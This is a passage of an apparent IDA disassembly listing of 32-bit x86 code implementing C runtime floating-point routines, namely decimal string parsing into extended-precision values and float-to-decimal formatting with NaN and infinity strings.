		push	1
		push	dword ptr [eax]
		call	sub_41973F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_419792
		inc	dword ptr [esi+8]


loc_419792:				; CODE XREF: sub_419760+19j
					; sub_419760+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41973F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4197AA
		inc	dword ptr [esi+8]


loc_4197AA:				; CODE XREF: sub_419760+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41973F
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_419760	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197BE	proc near		; CODE XREF: sub_419819+30p
					; sub_419819+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4197BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197EC	proc near		; CODE XREF: sub_419DB1+1C8p
					; sub_41A379+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4197EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419819	proc near		; CODE XREF: sub_4198E0+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41988D
		push	edi
		mov	[ebp+arg_8], eax


loc_419840:				; CODE XREF: sub_419819+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4197BE
		push	ebx
		call	sub_4197BE
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_419760
		push	ebx
		call	sub_4197BE
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_419760
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_419840
		xor	edx, edx
		pop	edi


loc_41988D:				; CODE XREF: sub_419819+21j
					; sub_419819+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4198BA
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41988D
; ---------------------------------------------------------------------------


loc_4198BA:				; CODE XREF: sub_419819+77j
		mov	esi, 8000h


loc_4198BF:				; CODE XREF: sub_419819+B9j
		test	[ebx+8], esi
		jnz	short loc_4198D4
		push	ebx
		call	sub_4197BE
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4198BF
; ---------------------------------------------------------------------------


loc_4198D4:				; CODE XREF: sub_419819+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_419819	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198E0	proc near		; CODE XREF: sub_418728+17p
					; sub_418755+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41991B:				; CODE XREF: sub_4198E0+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_419931
		cmp	cl, 9
		jz	short loc_419931
		cmp	cl, 0Ah
		jz	short loc_419931
		cmp	cl, 0Dh
		jnz	short loc_419934


loc_419931:				; CODE XREF: sub_4198E0+40j
					; sub_4198E0+45j ...
		inc	edi
		jmp	short loc_41991B
; ---------------------------------------------------------------------------


loc_419934:				; CODE XREF: sub_4198E0+4Fj
		push	4
		pop	esi


loc_419937:				; CODE XREF: sub_4198E0+AEj
					; sub_4198E0+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_419BBA	; default
					; jumptable 00419943 case 10
		jmp	ds:off_419D81[eax*4] ; switch jump


loc_41994A:				; DATA XREF: seg000:off_419D81o
		cmp	bl, 31h		; jumptable 00419943 case 0
		jl	short loc_41995B
		cmp	bl, 39h
		jg	short loc_41995B


loc_419954:				; CODE XREF: sub_4198E0+C4j
					; sub_4198E0+118j
		push	3
		jmp	loc_419B78
; ---------------------------------------------------------------------------


loc_41995B:				; CODE XREF: sub_4198E0+6Dj
					; sub_4198E0+72j
		cmp	bl, ds:byte_42E3A0
		jnz	short loc_41996A


loc_419963:				; CODE XREF: sub_4198E0+124j
		push	5
		jmp	loc_419BB0
; ---------------------------------------------------------------------------


loc_41996A:				; CODE XREF: sub_4198E0+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_419990
		dec	eax
		dec	eax
		jz	short loc_419984
		sub	eax, 3
		jnz	loc_419C53
		jmp	loc_419A13
; ---------------------------------------------------------------------------


loc_419984:				; CODE XREF: sub_4198E0+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_419937
; ---------------------------------------------------------------------------


loc_419990:				; CODE XREF: sub_4198E0+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_419937
; ---------------------------------------------------------------------------


loc_419999:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		cmp	bl, 31h		; jumptable 00419943 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4199A6
		cmp	bl, 39h
		jle	short loc_419954


loc_4199A6:				; CODE XREF: sub_4198E0+BFj
		cmp	bl, ds:byte_42E3A0
		jz	loc_419A6E
		cmp	bl, 2Bh
		jz	short loc_4199E8
		cmp	bl, 2Dh
		jz	short loc_4199E8
		cmp	bl, 30h
		jz	short loc_419A13


loc_4199C1:				; CODE XREF: sub_4198E0+207j
		cmp	bl, 43h
		jle	loc_419C53
		cmp	bl, 45h
		jle	short loc_4199E1
		cmp	bl, 63h
		jle	loc_419C53
		cmp	bl, 65h
		jg	loc_419C53


loc_4199E1:				; CODE XREF: sub_4198E0+EDj
		push	6
		jmp	loc_419BB0
; ---------------------------------------------------------------------------


loc_4199E8:				; CODE XREF: sub_4198E0+D5j
					; sub_4198E0+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_419BB0
; ---------------------------------------------------------------------------


loc_4199F0:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		cmp	bl, 31h		; jumptable 00419943 case 2
		jl	short loc_4199FE
		cmp	bl, 39h
		jle	loc_419954


loc_4199FE:				; CODE XREF: sub_4198E0+113j
		cmp	bl, ds:byte_42E3A0
		jz	loc_419963
		cmp	bl, 30h
		jnz	loc_419BC8


loc_419A13:				; CODE XREF: sub_4198E0+9Fj
					; sub_4198E0+DFj
		mov	eax, edx
		jmp	loc_419937
; ---------------------------------------------------------------------------


loc_419A1A:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		mov	[ebp+var_10], edx ; jumptable 00419943 case 3


loc_419A1D:				; CODE XREF: sub_4198E0+184j
		cmp	ds:dword_42E39C, edx
		jle	short loc_419A36
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_419A44
; ---------------------------------------------------------------------------


loc_419A36:				; CODE XREF: sub_4198E0+143j
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_419A44:				; CODE XREF: sub_4198E0+154j
		test	eax, eax
		jz	short loc_419A66
		cmp	[ebp+var_4], 19h
		jnb	short loc_419A5E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_419A61
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4198E0+16Cj
		inc	[ebp+var_8]


loc_419A61:				; CODE XREF: sub_4198E0+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419A1D
; ---------------------------------------------------------------------------


loc_419A66:				; CODE XREF: sub_4198E0+166j
		cmp	bl, ds:byte_42E3A0
		jnz	short loc_419AD5


loc_419A6E:				; CODE XREF: sub_4198E0+CCj
		mov	eax, esi
		jmp	loc_419937
; ---------------------------------------------------------------------------


loc_419A75:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		cmp	[ebp+var_4], 0	; jumptable 00419943 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_419A8E


loc_419A81:				; CODE XREF: sub_4198E0+1ACj
		cmp	bl, 30h
		jnz	short loc_419A8E
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419A81
; ---------------------------------------------------------------------------


loc_419A8E:				; CODE XREF: sub_4198E0+19Fj
					; sub_4198E0+1A4j ...
		cmp	ds:dword_42E39C, edx
		jle	short loc_419AA7
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_419AB5
; ---------------------------------------------------------------------------


loc_419AA7:				; CODE XREF: sub_4198E0+1B4j
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_419AB5:				; CODE XREF: sub_4198E0+1C5j
		test	eax, eax
		jz	short loc_419AD5
		cmp	[ebp+var_4], 19h
		jnb	short loc_419AD0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_419AD0:				; CODE XREF: sub_4198E0+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419A8E
; ---------------------------------------------------------------------------


loc_419AD5:				; CODE XREF: sub_4198E0+18Cj
					; sub_4198E0+1D7j
		cmp	bl, 2Bh
		jz	loc_4199E8
		cmp	bl, 2Dh
		jz	loc_4199E8
		jmp	loc_4199C1
; ---------------------------------------------------------------------------


loc_419AEC:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		cmp	ds:dword_42E39C, edx ; jumptable 00419943 case 5
		mov	[ebp+var_24], edx
		jle	short loc_419B08
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_419B16
; ---------------------------------------------------------------------------


loc_419B08:				; CODE XREF: sub_4198E0+215j
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_419B16:				; CODE XREF: sub_4198E0+226j
		test	eax, eax
		jz	loc_419BC8
		mov	eax, esi
		jmp	short loc_419B79
; ---------------------------------------------------------------------------


loc_419B22:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		lea	ecx, [edi-2]	; jumptable 00419943 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_419B32
		cmp	bl, 39h
		jle	short loc_419B76


loc_419B32:				; CODE XREF: sub_4198E0+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_419BAE
		dec	eax
		dec	eax
		jz	short loc_419BA2
		sub	eax, 3
		jnz	loc_419C56


loc_419B47:				; CODE XREF: sub_4198E0+2A4j
		push	8
		jmp	short loc_419BB0
; ---------------------------------------------------------------------------


loc_419B4B:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		mov	[ebp+var_20], edx ; jumptable 00419943 case 8


loc_419B4E:				; CODE XREF: sub_4198E0+276j
		cmp	bl, 30h
		jnz	short loc_419B58
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419B4E
; ---------------------------------------------------------------------------


loc_419B58:				; CODE XREF: sub_4198E0+271j
		cmp	bl, 31h
		jl	loc_419C53
		cmp	bl, 39h
		jg	loc_419C53
		jmp	short loc_419B76
; ---------------------------------------------------------------------------


loc_419B6C:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		cmp	bl, 31h		; jumptable 00419943 case 7
		jl	short loc_419B7F
		cmp	bl, 39h
		jg	short loc_419B7F


loc_419B76:				; CODE XREF: sub_4198E0+250j
					; sub_4198E0+28Aj
		push	9


loc_419B78:				; CODE XREF: sub_4198E0+76j
		pop	eax


loc_419B79:				; CODE XREF: sub_4198E0+240j
		dec	edi
		jmp	loc_419937
; ---------------------------------------------------------------------------


loc_419B7F:				; CODE XREF: sub_4198E0+28Fj
					; sub_4198E0+294j
		cmp	bl, 30h
		jnz	short loc_419BC8
		jmp	short loc_419B47
; ---------------------------------------------------------------------------


loc_419B86:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		cmp	[ebp+arg_18], 0	; jumptable 00419943 case 11
		jz	short loc_419BB6
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_419BAE
		dec	eax
		dec	eax
		jnz	loc_419C56


loc_419BA2:				; CODE XREF: sub_4198E0+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_419937
; ---------------------------------------------------------------------------


loc_419BAE:				; CODE XREF: sub_4198E0+258j
					; sub_4198E0+2B8j
		push	7


loc_419BB0:				; CODE XREF: sub_4198E0+85j
					; sub_4198E0+103j ...
		pop	eax
		jmp	loc_419937
; ---------------------------------------------------------------------------


loc_419BB6:				; CODE XREF: sub_4198E0+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_419BBA:				; CODE XREF: sub_4198E0+5Dj
					; sub_4198E0+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00419943 case 10
		jz	loc_419C58
		jmp	loc_419937
; ---------------------------------------------------------------------------


loc_419BC8:				; CODE XREF: sub_4198E0+12Dj
					; sub_4198E0+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_419C58
; ---------------------------------------------------------------------------


loc_419BD0:				; CODE XREF: sub_4198E0+63j
					; DATA XREF: seg000:off_419D81o
		mov	[ebp+var_20], 1	; jumptable 00419943 case 9
		xor	esi, esi


loc_419BD9:				; CODE XREF: sub_4198E0+339j
		cmp	ds:dword_42E39C, 1
		jle	short loc_419BF1
		movzx	eax, bl
		push	4
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_419C00
; ---------------------------------------------------------------------------


loc_419BF1:				; CODE XREF: sub_4198E0+300j
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419C00:				; CODE XREF: sub_4198E0+30Fj
		test	eax, eax
		jz	short loc_419C20
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_419C1B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419BD9
; ---------------------------------------------------------------------------


loc_419C1B:				; CODE XREF: sub_4198E0+334j
		mov	esi, 1451h


loc_419C20:				; CODE XREF: sub_4198E0+322j
		mov	[ebp+var_1C], esi


loc_419C23:				; CODE XREF: sub_4198E0+371j
		cmp	ds:dword_42E39C, 1
		jle	short loc_419C3B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_419C4A
; ---------------------------------------------------------------------------


loc_419C3B:				; CODE XREF: sub_4198E0+34Aj
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419C4A:				; CODE XREF: sub_4198E0+359j
		test	eax, eax
		jz	short loc_419C53
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419C23
; ---------------------------------------------------------------------------


loc_419C53:				; CODE XREF: sub_4198E0+99j
					; sub_4198E0+E4j ...
		dec	edi
		jmp	short loc_419C58
; ---------------------------------------------------------------------------


loc_419C56:				; CODE XREF: sub_4198E0+261j
					; sub_4198E0+2BCj
		mov	edi, ecx


loc_419C58:				; CODE XREF: sub_4198E0+2DDj
					; sub_4198E0+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_419D40
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_419C84
		cmp	[ebp+var_45], 5
		jl	short loc_419C78
		inc	[ebp+var_45]


loc_419C78:				; CODE XREF: sub_4198E0+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_419C87
; ---------------------------------------------------------------------------


loc_419C84:				; CODE XREF: sub_4198E0+38Dj
		mov	eax, [ebp+var_C]


loc_419C87:				; CODE XREF: sub_4198E0+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_419D36


loc_419C91:				; CODE XREF: sub_4198E0+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419C9F
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_419C91
; ---------------------------------------------------------------------------


loc_419C9F:				; CODE XREF: sub_4198E0+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_419819
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_419CBE
		neg	eax


loc_419CBE:				; CODE XREF: sub_4198E0+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_419CC9
		add	eax, [ebp+arg_10]


loc_419CC9:				; CODE XREF: sub_4198E0+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_419CD1
		sub	eax, [ebp+arg_14]


loc_419CD1:				; CODE XREF: sub_4198E0+3ECj
		cmp	eax, 1450h
		jle	short loc_419D08
		mov	[ebp+var_2C], 1


loc_419CDF:				; CODE XREF: sub_4198E0+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_419CEB:				; CODE XREF: sub_4198E0+454j
					; sub_4198E0+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_419D51
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_419D66
; ---------------------------------------------------------------------------


loc_419D08:				; CODE XREF: sub_4198E0+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_419D18
		mov	[ebp+var_30], 1
		jmp	short loc_419CDF
; ---------------------------------------------------------------------------


loc_419D18:				; CODE XREF: sub_4198E0+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41A599
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_419CEB
; ---------------------------------------------------------------------------


loc_419D36:				; CODE XREF: sub_4198E0+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_419CEB
; ---------------------------------------------------------------------------


loc_419D40:				; CODE XREF: sub_4198E0+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_419D66
; ---------------------------------------------------------------------------


loc_419D51:				; CODE XREF: sub_4198E0+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_419D66
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_419D66:				; CODE XREF: sub_4198E0+426j
					; sub_4198E0+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4198E0	endp

; ---------------------------------------------------------------------------
off_419D81	dd offset loc_41994A	; DATA XREF: sub_4198E0+63r
		dd offset loc_419999	; jump table for switch	statement
		dd offset loc_4199F0
		dd offset loc_419A1A
		dd offset loc_419A75
		dd offset loc_419AEC
		dd offset loc_419B22
		dd offset loc_419B6C
		dd offset loc_419B4B
		dd offset loc_419BD0
		dd offset loc_419BBA
		dd offset loc_419B86

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DB1	proc near		; CODE XREF: sub_4187F9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_419E13
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_419E17
; ---------------------------------------------------------------------------


loc_419E13:				; CODE XREF: sub_419DB1+5Aj
		mov	byte ptr [ebx+2], 20h


loc_419E17:				; CODE XREF: sub_419DB1+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_419E3D
		test	edi, edi
		jnz	short loc_419E3D
		cmp	[ebp+arg_0], edi
		jnz	short loc_419E3D


loc_419E28:				; CODE XREF: sub_419DB1+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41A03B
; ---------------------------------------------------------------------------


loc_419E3D:				; CODE XREF: sub_419DB1+6Cj
					; sub_419DB1+70j ...
		cmp	dx, si
		jnz	short loc_419EBC
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_419E56
		cmp	[ebp+arg_0], 0
		jz	short loc_419E65


loc_419E56:				; CODE XREF: sub_419DB1+9Dj
		test	edi, 40000000h
		jnz	short loc_419E65
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_419EAB
; ---------------------------------------------------------------------------


loc_419E65:				; CODE XREF: sub_419DB1+A3j
					; sub_419DB1+ABj
		test	cx, cx
		jz	short loc_419E7F
		cmp	edi, 0C0000000h
		jnz	short loc_419E7F
		cmp	[ebp+arg_0], 0
		jnz	short loc_419EA6
		push	offset a1Ind	; "1#IND"
		jmp	short loc_419E8E
; ---------------------------------------------------------------------------


loc_419E7F:				; CODE XREF: sub_419DB1+B7j
					; sub_419DB1+BFj
		cmp	edi, eax
		jnz	short loc_419EA6
		cmp	[ebp+arg_0], 0
		jnz	short loc_419EA6
		push	offset a1Inf	; "1#INF"


loc_419E8E:				; CODE XREF: sub_419DB1+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_411B70
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_419E9D:				; CODE XREF: sub_419DB1+109j
		and	[ebp+var_4], 0
		jmp	loc_41A014
; ---------------------------------------------------------------------------


loc_419EA6:				; CODE XREF: sub_419DB1+C5j
					; sub_419DB1+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_419EAB:				; CODE XREF: sub_419DB1+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_411B70
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_419E9D
; ---------------------------------------------------------------------------


loc_419EBC:				; CODE XREF: sub_419DB1+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41A599
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_419F1D
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41A379
		pop	ecx
		pop	ecx


loc_419F1D:				; CODE XREF: sub_419DB1+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_419F37
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_419F3A
		jmp	loc_419E28
; ---------------------------------------------------------------------------


loc_419F37:				; CODE XREF: sub_419DB1+173j
		mov	edi, [ebp+arg_C]


loc_419F3A:				; CODE XREF: sub_419DB1+17Fj
		cmp	edi, 15h
		jle	short loc_419F42
		push	15h
		pop	edi


loc_419F42:				; CODE XREF: sub_419DB1+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_419F58:				; CODE XREF: sub_419DB1+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4197BE
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_419F58
		test	esi, esi
		jge	short loc_419F82
		neg	esi
		and	esi, 0FFh
		jle	short loc_419F82


loc_419F75:				; CODE XREF: sub_419DB1+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4197EC
		dec	esi
		pop	ecx
		jnz	short loc_419F75


loc_419F82:				; CODE XREF: sub_419DB1+1B8j
					; sub_419DB1+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_419FDF
		mov	[ebp+arg_C], ecx


loc_419F92:				; CODE XREF: sub_419DB1+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
